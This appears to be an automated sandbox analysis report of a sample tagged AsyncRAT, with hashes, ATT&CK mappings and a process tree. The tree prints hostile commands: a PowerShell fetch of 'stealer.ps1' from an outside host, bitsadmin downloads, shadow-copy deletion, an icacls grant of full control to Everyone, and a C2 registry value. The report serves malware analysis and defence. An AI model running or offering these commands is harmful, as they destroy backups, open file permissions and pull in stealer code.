asyncrat | 3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c

Analysis

max time kernel
149s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/04/2026, 15:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Size 43KB
Sample260428-snwpjsbt7t
SHA256 3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c
MD5 a7569d770b58d587ae31d9020986fcdd
SHA1 4488bfb0f2d88ee2663c75350a0cb401b9f61012
SHA512 d8665c1ded5568d98997005308f4d8aaead781ec22e444c1298e09c8029bd2fbb3c88f73b1b2e5bf833b9ffd84cb92c6c336cf2d1ca835fb834bb304d5a0fc6c
SSDEEP 768:hq7x+jpQyn2IRvkFYmnjY8h/WSvSRCfvuRbheuoVNtiQLvOD+:RQy+ymjYq/jqQ3uRbguIN1LvOD+
TLSH
T11E1339007BFC1A25F2FE4FBCA8B951444276F9679932C34E1CC4518E1AE27C1AA51FE2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery dropper execution asyncrat impact persistence ransomware rat stealer

Malware Config

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5648	powershell.exe
60	powershell.exe

Download via BitsAdmin 1 TTPs 4 IoCs

dropper

BITS Jobs

T1197

pid	Process
3928	bitsadmin.exe
4452	bitsadmin.exe
3812	bitsadmin.exe
2084	bitsadmin.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\Control Panel\International\Geo\Nation	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\Control Panel\International\Geo\Nation	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
764	icacls.exe
5316	icacls.exe

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemHelper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe"	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe"	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityCenter = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe"	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsSystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe"	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsSystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe"	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemHelper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe"	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe"	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityCenter = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe"	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
2580	reg.exe
664	reg.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5648	powershell.exe
5648	powershell.exe
60	powershell.exe
60	powershell.exe
60	powershell.exe
60	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	4756	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Token: SeDebugPrivilege	5200	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Token: SeDebugPrivilege	5648	powershell.exe
Token: SeIncreaseQuotaPrivilege	5700	WMIC.exe
Token: SeSecurityPrivilege	5700	WMIC.exe
Token: SeTakeOwnershipPrivilege	5700	WMIC.exe
Token: SeLoadDriverPrivilege	5700	WMIC.exe
Token: SeSystemProfilePrivilege	5700	WMIC.exe
Token: SeSystemtimePrivilege	5700	WMIC.exe
Token: SeProfSingleProcessPrivilege	5700	WMIC.exe
Token: SeIncBasePriorityPrivilege	5700	WMIC.exe
Token: SeCreatePagefilePrivilege	5700	WMIC.exe
Token: SeBackupPrivilege	5700	WMIC.exe
Token: SeRestorePrivilege	5700	WMIC.exe
Token: SeShutdownPrivilege	5700	WMIC.exe
Token: SeDebugPrivilege	5700	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5700	WMIC.exe
Token: SeRemoteShutdownPrivilege	5700	WMIC.exe
Token: SeUndockPrivilege	5700	WMIC.exe
Token: SeManageVolumePrivilege	5700	WMIC.exe
Token: 33	5700	WMIC.exe
Token: 34	5700	WMIC.exe
Token: 35	5700	WMIC.exe
Token: 36	5700	WMIC.exe
Token: SeDebugPrivilege	60	powershell.exe
Token: SeIncreaseQuotaPrivilege	3264	WMIC.exe
Token: SeSecurityPrivilege	3264	WMIC.exe
Token: SeTakeOwnershipPrivilege	3264	WMIC.exe
Token: SeLoadDriverPrivilege	3264	WMIC.exe
Token: SeSystemProfilePrivilege	3264	WMIC.exe
Token: SeSystemtimePrivilege	3264	WMIC.exe
Token: SeProfSingleProcessPrivilege	3264	WMIC.exe
Token: SeIncBasePriorityPrivilege	3264	WMIC.exe
Token: SeCreatePagefilePrivilege	3264	WMIC.exe
Token: SeBackupPrivilege	3264	WMIC.exe
Token: SeRestorePrivilege	3264	WMIC.exe
Token: SeShutdownPrivilege	3264	WMIC.exe
Token: SeDebugPrivilege	3264	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3264	WMIC.exe
Token: SeRemoteShutdownPrivilege	3264	WMIC.exe
Token: SeUndockPrivilege	3264	WMIC.exe
Token: SeManageVolumePrivilege	3264	WMIC.exe
Token: 33	3264	WMIC.exe
Token: 34	3264	WMIC.exe
Token: 35	3264	WMIC.exe
Token: 36	3264	WMIC.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4756 wrote to memory of 3812	4756	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	85
PID 4756 wrote to memory of 2612	4756	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	87
PID 2612 wrote to memory of 5648	2612	cmd.exe	90
PID 4756 wrote to memory of 1980	4756	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	92
PID 4756 wrote to memory of 3800	4756	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	94
PID 5200 wrote to memory of 2084	5200	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	96
PID 5200 wrote to memory of 2816	5200	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	98
PID 1980 wrote to memory of 5700	1980	cmd.exe	100
PID 4756 wrote to memory of 2056	4756	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	101
PID 5200 wrote to memory of 4536	5200	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	103
PID 4756 wrote to memory of 5220	4756	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	105
PID 2816 wrote to memory of 60	2816	cmd.exe	107
PID 5200 wrote to memory of 1572	5200	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	109
PID 4756 wrote to memory of 2232	4756	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	108
PID 2056 wrote to memory of 764	2056	cmd.exe	112
PID 4536 wrote to memory of 3264	4536	cmd.exe	114
PID 5200 wrote to memory of 5148	5200	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	115
PID 4756 wrote to memory of 3352	4756	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	117
PID 5200 wrote to memory of 3196	5200	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	119
PID 5220 wrote to memory of 2580	5220	cmd.exe	121
PID 4756 wrote to memory of 4844	4756	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	122
PID 5200 wrote to memory of 1976	5200	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	124
PID 2232 wrote to memory of 3928	2232	cmd.exe	126
PID 5148 wrote to memory of 5316	5148	cmd.exe	127
PID 5200 wrote to memory of 4196	5200	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	128
PID 3196 wrote to memory of 664	3196	cmd.exe	130
PID 5200 wrote to memory of 1124	5200	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	131
PID 1976 wrote to memory of 4452	1976	cmd.exe	133

C:\Users\Admin\AppData\Local\Temp\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
"C:\Users\Admin\AppData\Local\Temp\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4756
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer UltraBurnJob /download /priority high http://localhost/test %TEMP%\burn.dat
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:3812
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -c "Invoke-WebRequest -Uri https://payload.ricaricacellulare.it.com/stealer.ps1"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -c "Invoke-WebRequest -Uri https://payload.ricaricacellulare.it.com/stealer.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5648
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wmic shadowcopy delete /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1980
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete /quiet
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5700
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3800
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c icacls "%SystemDrive%\Users" /grant Everyone:F /T
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2056
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users" /grant Everyone:F /T
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:764
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\TestMalware /v C2Server /t REG_SZ /d "ricaricacellulare.it.com" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5220
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\TestMalware /v C2Server /t REG_SZ /d "ricaricacellulare.it.com" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2580
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /transfer job1 /download /priority high http://localhost/payload %TEMP%\payload.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2232
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /transfer job1 /download /priority high http://localhost/payload C:\Users\Admin\AppData\Local\Temp\payload.exe
    3⤵
    - Download via BitsAdmin
    - System Location Discovery: System Language Discovery
    PID:3928
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo Process hollowing & UAC bypass simulation > nul
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3352
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4844

C:\Users\Admin\AppData\Local\Temp\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
C:\Users\Admin\AppData\Local\Temp\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
1⤵
- Checks computer location settings
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5200
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer UltraBurnJob /download /priority high http://localhost/test %TEMP%\burn.dat
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:2084
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -c "Invoke-WebRequest -Uri https://payload.ricaricacellulare.it.com/stealer.ps1"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -c "Invoke-WebRequest -Uri https://payload.ricaricacellulare.it.com/stealer.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:60
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wmic shadowcopy delete /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4536
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete /quiet
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3264
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1572
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c icacls "%SystemDrive%\Users" /grant Everyone:F /T
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5148
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users" /grant Everyone:F /T
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:5316
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\TestMalware /v C2Server /t REG_SZ /d "ricaricacellulare.it.com" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3196
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\TestMalware /v C2Server /t REG_SZ /d "ricaricacellulare.it.com" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:664
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /transfer job1 /download /priority high http://localhost/payload %TEMP%\payload.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1976
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /transfer job1 /download /priority high http://localhost/payload C:\Users\Admin\AppData\Local\Temp\payload.exe
    3⤵
    - Download via BitsAdmin
    - System Location Discovery: System Language Discovery
    PID:4452
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo Process hollowing & UAC bypass simulation > nul
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4196
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1124

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

BITS Jobs

T1197

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

BITS Jobs

T1197

File and Directory Permissions Modification

T1222

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Windows Credential Manager

T1555.004

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_3suvmogv.zea.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3suvmogv.zea.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

chrome_login_data.log

Path C:\Users\Admin\AppData\Local\Temp\chrome_login_data.log
Size 55B
SHA256 9e496c6d73bf152e2d73cad0f55269b17e0c3b57289aa85d3c188367f9accbae
MD5 8f6ac28852beca3e94e6edb887d4ffe9
SHA1 d5473c04e63ab0e6a0120003ff760f206c9a4e8d
SHA512 43da2ed0f112462e3779ca348d3a0502ad3a75663ec5ccc1b0fd8631ee1380d55e7df742708cdb58bd99250e16b83a0cbd2034ae8f57cfa0acb7b29808c6d8c9
TLSH
T14F90022226EF2805300014C6F2A4999B81541911197C519C6928713104CC5577D79541
MD5 SHA1 SHA512 TLSH

Submit Download

clipboard_stolen.log

Path C:\Users\Admin\AppData\Local\Temp\clipboard_stolen.log
Size 31B
SHA256 fa892fb1f8270044a19012b7fc3686c59bb72154d3b19cafb4f6d1de1e581908
MD5 e3e8d758e169a2d1e1e064439873ff93
SHA1 262f1a46460018466660c2b21b862c70f3f3b5b9
SHA512 915ca4104fcc22b8f98f6597fba2a02c3c5a15bec7c8fb7368b4bcebf520f21156965db1ff0da9d5240179c079429a77976a3f10c413992c08c70d014647bc5d
MD5 SHA1 SHA512

Submit Download

exfil_full_browser_data.zip

Path C:\Users\Admin\AppData\Local\Temp\exfil_full_browser_data.zip
Size 31B
SHA256 c36c3ccfe27df471aca7a85ed6e6d5352b036c71a84bbafbd7f9c31130c91655
MD5 9f4bc516f8620179301177b870968fb1
SHA1 ee6eb14b850efa93feffe52a639713112a120280
SHA512 762a063eef3408f5a6a9800b1f507544aef93339d6c3450d02547d1eec89ab54491eb68f4e49bd1011bea1ea3a94b21233463a07d58a132d2839763f049f0ad7
MD5 SHA1 SHA512

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 161B
SHA256 75cd0eeadf9e1713f15e63288ecbc38e7c28e0b1a13b62efd614ab4901c82d2e
MD5 628ba58c455b4300609a8b338175f25a
SHA1 84e8474b9dafb4128fe1f11b5c58a972c0ac1d4b
SHA512 302db9e032b8c6aa41fb3dbd97a8feb09d4ebf56bcc67b63d0735ce9e7d7e7f7d6a6393f9427d19c42821dadc79644d2d2d567b95d50168b68bb18066ad333d3
TLSH
T1EDC04C1124E081960349E2ED9C5F7B8426176475B7106D5DDDF4C04659EDC062F697CE
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 226B
SHA256 9f705d10f689cd03b6e1c819a7860e37dab55d9379bc141950701664806e7fb7
MD5 faa5256fdfc3b267f23f460873f9f017
SHA1 ed5d84c838a95e582e6e59973064a18ca247c916
SHA512 7e3ede37b50c99e1863177b8758f8415c8b32cc58b445daf3e92b2dbc3d9785ad7a44b5963d6450bc54ab71f8a956a639db3fc699cc6ba012d0b4422a55319a9
TLSH
T10BD0921214E0419A0349E2EE9C5F7A882A27207567006DAD99B4C04669ADC062F297CA
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 291B
SHA256 738f9af69508d7acaba98b9dc8bbefaf881af14b0e60e8c795d8bfcf3b6edd41
MD5 7a26a9ba3c3222c91195f9f9e8504614
SHA1 b53cdc94e829b932661c16c56237a386d58ace1f
SHA512 41396aedafa3bbbb6035439f79c8e34633f18069dfee0cfd900d33e938c94a11c56d51803ec84c2fa8a39edf1f202e6406a674986050aeef88a9373bd5729d00
TLSH
T16BD0421214E041DA0349E2EE9C5F7A882A27607567006DAD9AB4C04A6DBDD062F297CB
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 356B
SHA256 0941cca404cef3f351c93c8144f0da4fe995705e10ce1aab4c165faf4e4e2ae0
MD5 1ac191f36263e077270d42adad371fb1
SHA1 c28c0d28e28f38ef4c64a1e2a631caed37759879
SHA512 0778f05ff615bce6dc23af400579a6f5c9caa6c19d02f83ed64e540232270376bfef045bd110fa87377badb7c0d67450f5930a92781d88aa3132dd00596a71bf
TLSH
T161E0021214E041DA4349E2EE9C9FBA882A27607577006DAD9AB4C04A6DBDD062F297CB
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 421B
SHA256 fa64c3c8c1afb16c8b0a1e50ad31331d324e1c8d1ec71bc16115ea22da15503c
MD5 16cb979bf0fd795b04a89b3e02a9f744
SHA1 101bd5fd77dbac571c9e7868f121336324ee2c9d
